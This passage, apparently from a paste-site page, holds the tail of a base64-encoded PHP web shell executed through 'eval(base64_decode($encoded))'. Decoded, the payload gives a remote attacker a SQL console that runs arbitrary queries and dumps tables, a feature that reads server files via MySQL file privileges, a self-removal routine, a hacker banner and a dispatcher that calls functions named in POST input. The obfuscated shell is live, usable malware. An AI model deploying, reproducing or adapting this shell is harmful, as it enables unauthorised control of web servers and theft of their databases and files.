U1RbJ3NxbF9wYXNzJ10pKSAuIic+PC90ZD48dGQ+IjsKICAgICAgICAkdG1wID0gIjxpbnB1dCB0eXBlPXRleHQgbmFtZT1zcWxfYmFzZSB2YWx1ZT0nJz4iOwogICAgICAgIGlmKGlzc2V0KCRfUE9TVFsnc3FsX2hvc3QnXSkpewogICAgICAgICAgICAgICAgaWYoJGRiLT5jb25uZWN0KCRfUE9TVFsnc3FsX2hvc3QnXSwgJF9QT1NUWydzcWxfbG9naW4nXSwgJF9QT1NUWydzcWxfcGFzcyddLCAkX1BPU1RbJ3NxbF9iYXNlJ10pKSB7CiAgICAgICAgICAgICAgICAgICAgICAgIHN3aXRjaCgkX1BPU1RbJ2NoYXJzZXQnXSkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNhc2UgIldpbmRvd3MtMTI1MSI6ICRkYi0+c2V0Q2hhcnNldCgnY3AxMjUxJyk7IGJyZWFrOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNhc2UgIlVURi04IjogJGRiLT5zZXRDaGFyc2V0KCd1dGY4Jyk7IGJyZWFrOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNhc2UgIktPSTgtUiI6ICRkYi0+c2V0Q2hhcnNldCgna29pOHInKTsgYnJlYWs7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgY2FzZSAiS09JOC1VIjogJGRiLT5zZXRDaGFyc2V0KCdrb2k4dScpOyBicmVhazsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBjYXNlICJjcDg2NiI6ICRkYi0+c2V0Q2hhcnNldCgnY3A4NjYnKTsgYnJlYWs7CiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgJGRiLT5saXN0RGJzKCk7CiAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gIjxzZWxlY3QgbmFtZT1zcWxfYmFzZT48b3B0aW9uIHZhbHVlPScnPjwvb3B0aW9uPiI7CiAgICAgICAgICAgICAgICAgICAgICAgIHdoaWxlKCRpdGVtID0gJGRiLT5mZXRjaCgpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgbGlzdCgka2V5LCAkdmFsdWUpID0gZWFjaCgkaXRlbSk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAnPG9wdGlvbiB2YWx1ZT0iJy4kdmFsdWUuJyIgJy4oJHZhbHVlPT0kX1BPU1RbJ3NxbF9iYXNlJ10/J3NlbGVjdGVkJzonJykuJz4nLiR2YWx1ZS4nPC9vcHRpb24+JzsKICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICBlY2hvICc8L3NlbGVjdD4nOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgZWxzZSBlY2hvICR0bXA7CiAgICAgICAgfWVsc2UKICAgICAgICAgICAgICAgIGVjaG8gJHRtcDsKICAgICAgICBlY2hvICI8L3RkPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZD48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Jz4+JyBvbmNsaWNrPSdmcyhkLnNmKTsnPjwvdGQ+CiAgICAgICAgICAgICAgICA8dGQ+PGlucHV0IHR5cGU9Y2hlY2tib3ggbmFtZT1zcWxfY291bnQgdmFsdWU9J29uJyIgLiAoZW1wdHkoJF9QT1NUWydzcWxfY291bnQnXSk/Jyc6JyBjaGVja2VkJykgLiAiPiBjb3VudCB0aGUgbnVtYmVyIG9mIHJvd3M8L3RkPgogICAgICAgICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgPC90YWJsZT4KICAgICAgICAgICAgICAgIDxzY3JpcHQ+CiAgICAgICAgICAgIHNfZGI9JyIuQGFkZHNsYXNoZXMoJF9QT1NUWydzcWxfYmFzZSddKS4iJzsKICAgICAgICAgICAgZnVuY3Rpb24gZnMoZikgewogICAgICAgICAgICAgICAgaWYoZi5zcWxfYmFzZS52YWx1ZSE9c19kYikgeyBmLm9uc3VibWl0ID0gZnVuY3Rpb24oKSB7fTsKICAgICAgICAgICAgICAgICAgICBpZihmLnAxKSBmLnAxLnZhbHVlPScnOwogICAgICAgICAgICAgICAgICAgIGlmKGYucDIpIGYucDIudmFsdWU9Jyc7CiAgICAgICAgICAgICAgICAgICAgaWYoZi5wMykgZi5wMy52YWx1ZT0nJzsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICBmdW5jdGlvbiBzdCh0LGwpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBkLnNmLnAxLnZhbHVlID0gJ3NlbGVjdCc7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZC5zZi5wMi52YWx1ZSA9IHQ7CiAgICAgICAgICAgICAgICBpZihsICYmIGQuc2YucDMpIGQuc2YucDMudmFsdWUgPSBsOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGQuc2Yuc3VibWl0KCk7CiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgZnVuY3Rpb24gaXMoKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZm9yKGk9MDtpPGQuc2YuZWxlbWVudHNbJ3RibFtdJ10ubGVuZ3RoOysraSkKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGQuc2YuZWxlbWVudHNbJ3RibFtdJ11baV0uY2hlY2tlZCA9ICFkLnNmLmVsZW1lbnRzWyd0YmxbXSddW2ldLmNoZWNrZWQ7CiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIDwvc2NyaXB0PiI7CiAgICAgICAgaWYoaXNzZXQoJGRiKSAmJiAkZGItPmxpbmspewogICAgICAgICAgICAgICAgZWNobyAiPGJyLz48dGFibGUgd2lkdGg9MTAwJSBjZWxscGFkZGluZz0yIGNlbGxzcGFjaW5nPTA+IjsKICAgICAgICAgICAgICAgICAgICAgICAgaWYoIWVtcHR5KCRfUE9TVFsnc3FsX2Jhc2UnXSkpewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRkYi0+c2VsZWN0ZGIoJF9QT1NUWydzcWxfYmFzZSddKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICI8dHI+PHRkIHdpZHRoPTEgc3R5bGU9J2JvcmRlci10b3A6MnB4IHNvbGlkICM2NjY7Jz48c3Bhbj5UYWJsZXM6PC9zcGFuPjxicj48YnI+IjsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdGJsc19yZXMgPSAkZGItPmxpc3RUYWJsZXMoKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB3aGlsZSgkaXRlbSA9ICRkYi0+ZmV0Y2goJHRibHNfcmVzKSkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgbGlzdCgka2V5LCAkdmFsdWUpID0gZWFjaCgkaXRlbSk7CiAgICAgICAgICAgICAgICAgICAgaWYoIWVtcHR5KCRfUE9TVFsnc3FsX2NvdW50J10pKQogICAgICAgICAgICAgICAgICAgICAgICAkbiA9ICRkYi0+ZmV0Y2goJGRiLT5xdWVyeSgnU0VMRUNUIENPVU5UKCopIGFzIG4gRlJPTSAnLiR2YWx1ZS4nJykpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHZhbHVlID0gaHRtbHNwZWNpYWxjaGFycygkdmFsdWUpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAiPG5vYnI+PGlucHV0IHR5cGU9J2NoZWNrYm94JyBuYW1lPSd0YmxbXScgdmFsdWU9JyIuJHZhbHVlLiInPiZuYnNwOzxhIGhyZWY9IyBvbmNsaWNrPVwic3QoJyIuJHZhbHVlLiInLDEpXCI+Ii4kdmFsdWUuIjwvYT4iIC4gKGVtcHR5KCRfUE9TVFsnc3FsX2NvdW50J10pPycmbmJzcDsnOiIgPHNtYWxsPih7JG5bJ24nXX0pPC9zbWFsbD4iKSAuICI8L25vYnI+PGJyPiI7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gIjxpbnB1dCB0eXBlPSdjaGVja2JveCcgb25jbGljaz0naXMoKTsnPiA8aW5wdXQgdHlwZT1idXR0b24gdmFsdWU9J0R1bXAnIG9uY2xpY2s9J2RvY3VtZW50LnNmLnAyLnZhbHVlPVwiZG93bmxvYWRcIjtkb2N1bWVudC5zZi5zdWJtaXQoKTsnPjxicj5GaWxlIHBhdGg6PGlucHV0IHR5cGU9dGV4dCBuYW1lPWZpbGUgdmFsdWU9J2R1bXAuc3FsJz48L3RkPjx0ZCBzdHlsZT0nYm9yZGVyLXRvcDoycHggc29saWQgIzY2NjsnPiI7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYoQCRfUE9TVFsncDEnXSA9PSAnc2VsZWN0JykgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJF9QT1NUWydwMSddID0gJ3F1ZXJ5JzsKICAgICAgICAgICAgICAgICAgICAkX1BPU1RbJ3AzJ10gPSAkX1BPU1RbJ3AzJ10/JF9QT1NUWydwMyddOjE7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkZGItPnF1ZXJ5KCdTRUxFQ1QgQ09VTlQoKikgYXMgbiBGUk9NICcgLiAkX1BPU1RbJ3AyJ10pOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJG51bSA9ICRkYi0+ZmV0Y2goKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRwYWdlcyA9IGNlaWwoJG51bVsnbiddIC8gMzApOwogICAgICAgICAgICAgICAgICAgIGVjaG8gIjxzY3JpcHQ+ZC5zZi5vbnN1Ym1pdD1mdW5jdGlvbigpe3N0KFwiIiAuICRfUE9TVFsncDInXSAuICJcIiwgZC5zZi5wMy52YWx1ZSl9PC9zY3JpcHQ+PHNwYW4+Ii4kX1BPU1RbJ3AyJ10uIjwvc3Bhbj4gKHskbnVtWyduJ119IHJlY29yZHMpIFBhZ2UgIyA8aW5wdXQgdHlwZT10ZXh0IG5hbWU9J3AzJyB2YWx1ZT0iIC4gKChpbnQpJF9QT1NUWydwMyddKSAuICI+IjsKICAgICAgICAgICAgICAgICAgICBlY2hvICIgb2YgJHBhZ2VzIjsKICAgICAgICAgICAgICAgICAgICBpZigkX1BPU1RbJ3AzJ10gPiAxKQogICAgICAgICAgICAgICAgICAgICAgICBlY2hvICIgPGEgaHJlZj0jIG9uY2xpY2s9J3N0KFwiIiAuICRfUE9TVFsncDInXSAuICciLCAnIC4gKCRfUE9TVFsncDMnXS0xKSAuICIpJz4mbHQ7IFByZXY8L2E+IjsKICAgICAgICAgICAgICAgICAgICBpZigkX1BPU1RbJ3AzJ10gPCAkcGFnZXMpCiAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gIiA8YSBocmVmPSMgb25jbGljaz0nc3QoXCIiIC4gJF9QT1NUWydwMiddIC4gJyIsICcgLiAoJF9QT1NUWydwMyddKzEpIC4gIiknPk5leHQgJmd0OzwvYT4iOwogICAgICAgICAgICAgICAgICAgICRfUE9TVFsncDMnXS0tOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYoJF9QT1NUWyd0eXBlJ109PSdwZ3NxbCcpCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRfUE9TVFsncDInXSA9ICdTRUxFQ1QgKiBGUk9NICcuJF9QT1NUWydwMiddLicgTElNSVQgMzAgT0ZGU0VUICcuKCRfUE9TVFsncDMnXSozMCk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlbHNlCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRfUE9TVFsncDInXSA9ICdTRUxFQ1QgKiBGUk9NIGAnLiRfUE9TVFsncDInXS4nYCBMSU1JVCAnLigkX1BPU1RbJ3AzJ10qMzApLicsMzAnOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAiPGJyPjxicj4iOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZigoQCRfUE9TVFsncDEnXSA9PSAncXVlcnknKSAmJiAhZW1wdHkoJF9QT1NUWydwMiddKSkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGRiLT5xdWVyeShAJF9QT1NUWydwMiddKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmKCRkYi0+cmVzICE9PSBmYWxzZSkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdGl0bGUgPSBmYWxzZTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAnPHRhYmxlIHdpZHRoPTEwMCUgY2VsbHNwYWNpbmc9MSBjZWxscGFkZGluZz0yIGNsYXNzPW1haW4gc3R5bGU9ImJhY2tncm91bmQtY29sb3I6IzI5MjkyOSI+JzsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGxpbmUgPSAxOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB3aGlsZSgkaXRlbSA9ICRkYi0+ZmV0Y2goKSkgICAgIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZighJHRpdGxlKSAgICAgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAnPHRyPic7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBmb3JlYWNoKCRpdGVtIGFzICRrZXkgPT4gJHZhbHVlKQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICc8dGg+Jy4ka2V5Lic8L3RoPic7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICByZXNldCgkaXRlbSk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdGl0bGU9dHJ1ZTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJzwvdHI+PHRyPic7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkbGluZSA9IDI7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJzx0ciBjbGFzcz0ibCcuJGxpbmUuJyI+JzsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkbGluZSA9ICRsaW5lPT0xPzI6MTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBmb3JlYWNoKCRpdGVtIGFzICRrZXkgPT4gJHZhbHVlKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZigkdmFsdWUgPT0gbnVsbCkKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAnPHRkPjxpPm51bGw8L2k+PC90ZD4nOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWxzZQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICc8dGQ+Jy5ubDJicihodG1sc3BlY2lhbGNoYXJzKCR2YWx1ZSkpLic8L3RkPic7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJzwvdHI+JzsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICc8L3RhYmxlPic7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICc8ZGl2PjxiPkVycm9yOjwvYj4gJy5odG1sc3BlY2lhbGNoYXJzKCRkYi0+ZXJyb3IoKSkuJzwvZGl2Pic7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gIjxicj48L2Zvcm0+PGZvcm0gb25zdWJtaXQ9J2Quc2YucDEudmFsdWU9XCJxdWVyeVwiO2Quc2YucDIudmFsdWU9dGhpcy5xdWVyeS52YWx1ZTtkb2N1bWVudC5zZi5zdWJtaXQoKTtyZXR1cm4gZmFsc2U7Jz48dGV4dGFyZWEgbmFtZT0ncXVlcnknIHN0eWxlPSd3aWR0aDoxMDAlO2hlaWdodDoxMDBweCc+IjsKICAgICAgICAgICAgICAgIGlmKCFlbXB0eSgkX1BPU1RbJ3AyJ10pICYmICgkX1BPU1RbJ3AxJ10gIT0gJ2xvYWRmaWxlJykpCiAgICAgICAgICAgICAgICAgICAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRfUE9TVFsncDInXSk7CiAgICAgICAgICAgICAgICBlY2hvICI8L3RleHRhcmVhPjxici8+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSdFeGVjdXRlJz4iOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gIjwvdGQ+PC90cj4iOwogICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gIjwvdGFibGU+PC9mb3JtPjxici8+IjsKICAgICAgICAgICAgaWYoJF9QT1NUWyd0eXBlJ109PSdteXNxbCcpIHsKICAgICAgICAgICAgICAgICRkYi0+cXVlcnkoIlNFTEVDVCAxIEZST00gbXlzcWwudXNlciBXSEVSRSBjb25jYXQoYHVzZXJgLCAnQCcsIGBob3N0YCkgPSBVU0VSKCkgQU5EIGBGaWxlX3ByaXZgID0gJ3knIik7CiAgICAgICAgICAgICAgICBpZigkZGItPmZldGNoKCkpCiAgICAgICAgICAgICAgICAgICAgZWNobyAiPGZvcm0gb25zdWJtaXQ9J2Quc2YucDEudmFsdWU9XCJsb2FkZmlsZVwiO2RvY3VtZW50LnNmLnAyLnZhbHVlPXRoaXMuZi52YWx1ZTtkb2N1bWVudC5zZi5zdWJtaXQoKTtyZXR1cm4gZmFsc2U7Jz48c3Bhbj5Mb2FkIGZpbGU8L3NwYW4+IDxpbnB1dCAgY2xhc3M9J3Rvb2xzSW5wJyB0eXBlPXRleHQgbmFtZT1mPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0nPj4nPjwvZm9ybT4iOwogICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgIGlmKEAkX1BPU1RbJ3AxJ10gPT0gJ2xvYWRmaWxlJykgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRmaWxlID0gJGRiLT5sb2FkRmlsZSgkX1BPU1RbJ3AyJ10pOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJzxwcmUgY2xhc3M9bWwxPicuaHRtbHNwZWNpYWxjaGFycygkZmlsZVsnZmlsZSddKS4nPC9wcmU+JzsKICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgIH0gZWxzZSB7CiAgICAgICAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRkYi0+ZXJyb3IoKSk7CiAgICB9CiAgICAgICAgZWNobyAnPC9kaXY+JzsKICAgIG1hZGZvb3RlcigpOwogICAgCiB9CiAKIGZ1bmN0aW9uIG1hZHNlbGZybSgpCiB7CiAgICAKICAgIGlmKCRfUE9TVFsncDEnXSA9PSAneWVzJykKICAgICAgICAgICAgICAgIGlmKEB1bmxpbmsocHJlZ19yZXBsYWNlKCchXChcZCtcKVxzLiohJywgJycsIF9fRklMRV9fKSkpCiAgICAgICAgICAgICAgICAgICAgICAgIGRpZSgnU2hlbGwgaGFzIGJlZW4gcmVtb3ZlZCcpOwogICAgICAgICAgICAgICAgZWxzZQogICAgICAgICAgICAgICAgICAgICAgICBlY2hvICd1bmxpbmsgZXJyb3IhJzsKICAgIGlmKCRfUE9TVFsncDEnXSAhPSAneWVzJykKICAgICAgICBtYWRoZWFkKCk7CiAgICAgICAgZWNobyAiPGRpdiBjbGFzcz1oZWFkZXI+PHByZSBjbGFzcz1tbDEgc3R5bGU9J21hcmdpbi10b3A6NXB4Jz4iOwogICAgCiAgICAKICAgIGVjaG8gIgoKCjxjZW50ZXI+Ll9fX19fICAgXyAgIF8gICBfX19fXyAgICAgICAgXyAgIF8gICAgICAgX19fICAgX19fX18gICBfICAgICAgIF9fX19fICAgX19fX18gICBfX19fXyAgICAgICAgXyAgIF8gICAgICAgX19fICBfXyAgICBfXyAgX19fX18gICBfX19fXyAgIAogIHxfICAgX3wgfCB8IHwgfCB8IF9fX198ICAgICAgfCB8IHwgfCAgICAgLyAgIHwgfF8gICBffCB8IHwgICAgIHwgX19fX3wgLyAgX19fLyAvICBfX18vICAgICAgfCB8IHwgfCAgICAgLyAgIHwgXCBcICAvIC8gLyAgXyAgXCB8ICBfICBcICAKICAgIHwgfCAgIHwgfF98IHwgfCB8X18gICAgICAgIHwgfF98IHwgICAgLyAvfCB8ICAgfCB8ICAgfCB8ICAgICB8IHxfXyAgIHwgfF9fXyAgfCB8X19fICAgICAgIHwgfF98IHwgICAgLyAvfCB8ICBcIFwvIC8gIHwgfCB8IHwgfCB8X3wgfCAgCiAgICB8IHwgICB8ICBfICB8IHwgIF9ffCAgICAgICB8ICBfICB8ICAgLyAvIHwgfCAgIHwgfCAgIHwgfCAgICAgfCAgX198ICBcX19fICBcIFxfX18gIFwgICAgICB8ICBfICB8ICAgLyAvIHwgfCAgIH0gIHsgICB8IHwgfCB8IHwgIF8gIC8gIAogICAgfCB8ICAgfCB8IHwgfCB8IHxfX18gICAgICAgfCB8IHwgfCAgLyAvICB8IHwgICB8IHwgICB8IHxfX18gIHwgfF9fXyAgIF9fX3wgfCAgX19ffCB8ICAgICAgfCB8IHwgfCAgLyAvICB8IHwgIC8gL1wgXCAgfCB8X3wgfCB8IHwgXCBcICAKICAgIHxffCAgIHxffCB8X3wgfF9fX19ffCAgICAgIHxffCB8X3wgL18vICAgfF98ICAgfF98ICAgfF9fX19ffCB8X19fX198IC9fX19fXy8gL19fX19fLyAgICAgIHxffCB8X3wgL18vICAgfF98IC9fLyAgXF9cIFxfX19fXy8gfF98ICBcX1wgPC9jZW50ZXI+CiI7CiAgICAKICAgIAogICAgCiAgICBlY2hvICc8YnI+S2lsbCBNZT88YnI+PGEgaHJlZj0jIG9uY2xpY2s9ImcobnVsbCxudWxsLFwneWVzXCcpIj5ZZXM8L2E+PC9kaXY+JzsKICAgICAgICBtYWRGb290ZXIoKTsKICAgIAogfQoKCmlmKCBlbXB0eSgkX1BPU1RbJ2EnXSkgKQogICAgICAgIGlmKGlzc2V0KCRkZWZhdWx0X2FjdGlvbikgJiYgZnVuY3Rpb25fZXhpc3RzKCdtYWQnIC4gJGRlZmF1bHRfYWN0aW9uKSkKICAgICAgICAgICAgICAgICRfUE9TVFsnYSddID0gJGRlZmF1bHRfYWN0aW9uOwogICAgICAgIGVsc2UKICAgICAgICAgICAgICAgICRfUE9TVFsnYSddID0gJ0ZpbGVzTWFuJzsKaWYoICFlbXB0eSgkX1BPU1RbJ2EnXSkgJiYgZnVuY3Rpb25fZXhpc3RzKCdtYWQnIC4gJF9QT1NUWydhJ10pICkKICAgICAgICBjYWxsX3VzZXJfZnVuYygnbWFkJyAuICRfUE9TVFsnYSddKTsKICAgICAgICBleGl0Owo=';
  3. eval(base64_decode($encoded));
  4. ?>
Add Comment
Please, Sign In to add comment